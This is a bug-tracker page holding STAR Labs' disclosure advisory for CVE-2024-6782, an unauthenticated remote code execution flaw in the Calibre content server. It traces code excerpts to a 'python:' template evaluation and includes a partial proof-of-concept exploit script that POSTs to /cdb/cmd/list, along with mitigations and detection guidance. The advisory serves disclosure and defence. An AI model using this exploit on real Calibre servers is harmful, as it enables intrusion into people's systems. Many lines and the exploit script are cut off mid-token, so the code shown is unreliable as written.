CVE-2024-6782 - STAR-2024-0038 - Calibre Remote Code Execution
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
calibre |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
# CVE-2024-6782 - STAR-2024-0038 - Calibre Remote Code Execution
## Summary:
| **Product** | Calibre |
| -------
| **Vendor** | Calibre |
| **Severity** | Critical - Unprivileged adversaries may exploit software vulnerabilities to perform remote code execution |
| **Affected Versions** | 6.9.0 ~ 7.14.0 (latest version as of writing) |
| **Tested Versions** | 7.14.0 |
| **CVE Identifier** | CVE-2024-6782 |
| **CVE Description** | Improper Access Control in Calibre Content Server allows remote code execution |
| **CWE Classification(s)** | CWE-863: Incorrect Authorization |
| **CAPEC Classification(s)** | CAPEC-253: Remote Code Inclusion |
## CVSS3.1 Scoring System:
**Base Score:** 9.8 (Critical)
**Vector String:** `CVSS:3.
| **Metric** | **Value** |
| -------
| **Attack Vector (AV)** | Network |
| **Attack Complexity (AC)** | Low |
| **Privileges Required (PR)** | None |
| **User Interaction (UI)** | None |
| **Scope (S)** | Unchanged |
| **Confidentiality \(C)** | High |
| **Integrity (I)** | High |
| **Availability (A)** | High |
## Product Overview:
Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.
Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time
## Vulnerability Summary:
Unauthenticated remote code execution via Calibre's content server in Calibre <= 7.14.0.
## Vulnerability Details:
The source of the vulnerability is in `cmd_list.py`, that is called by the `cdb.py` router. The router imports a secondary module (in the format `cmd_*.py`) based on the incoming HTTP request's path. In this case, a request to `/cdb/cmd/list` will result in the file `cmd_list.py` being imported and its `implementation()` function will be executed. Additionally, the request body's content is used as `*args`.
> The list of `cmd_*.py` files can be obtained from the `src/calibre/
```python
# src/calibre/
@endpoint(
def cdb_run(ctx, rd, which, version):
try:
m = module_
except ImportError:
raise HTTPNotFound(f'No module named: {which}')
if not getattr(m, 'readonly', False): # [1]
[...snip...]
try:
result = m.implementatio
```
The vulnerable function is located at `cmd_list.
In the `cmd_list:
```python
# src/calibre/
readonly = True
[...snip...]
def implementation(
db, notify_changes, fields, sort_by, ascending, search_text, limit, template=None
):
[...snip...]
if field == 'template':
vals = {}
global_vars = {}
if formatter is None:
from calibre.
for book_id in book_ids:
mi = db.get_
```
The template is processed with `formatter.
```python
# src/calibre/
def safe_format(self, fmt, kwargs, error_value, book,
column_
strip_
global_
python_
state = self.save_state()
[...snip...]
try:
ans = self.evaluate(fmt, [], kwargs, self.global_vars, break_reporter=
```
Finally, the `evaluate()` function appears to allow for arbitrary execution of any Python code if it is prefixed with `python:`.
```python
# src/calibre/
def evaluate(self, fmt, args, kwargs, global_vars, break_reporter=
if fmt.startswith(
ans = self._eval_
elif fmt.startswith(
ans = self._eval_
else:
ans = self.vformat(fmt, args, kwargs)
if self.strip_results:
ans = self.compress_
if self.strip_results:
ans = ans.strip(' ')
return ans
```

import json
import sys
import requests
_target = "http://
def exploit(cmd):
r = requests.post(
json=[
"", # sortby: leave empty
"", # ascending: leave empty
"", # search_text: leave empty, set to all
1, # limit results
],
)
try:
except Exception as e:
if __name__ == "__main__":
exploit(
```
## Suggested Mitigations:
Ensure that access controls on publicly accessible endpoints are properly implemented. If code execution is allowed by design, the server should not be exposed publicly, or it should be heavily restricted to highly privileged users only.
## Detection Guidance:
It is possible to detect potential exploitation of the vulnerability by checking the server's access logs for repeated POST requests to the `/cdb/cmd/list` endpoint.
## Credits:
Amos Ng ([@LFlare](https:/
## Vulnerability Disclosure:
This vulnerability report is subject to a 120 day disclosure deadline as per [STAR Labs SG Pte. Ltd.'s Vulnerability Disclosure Policy](https:/
The scheduled disclosure date is _**27 Nov, 2024**_. Disclosure at an earlier date is also possible if agreed upon by all parties.
information type: | Private Security → Public Security |
Fixed in branch master. The fix will be in the next release. calibre is usually released every alternate Friday.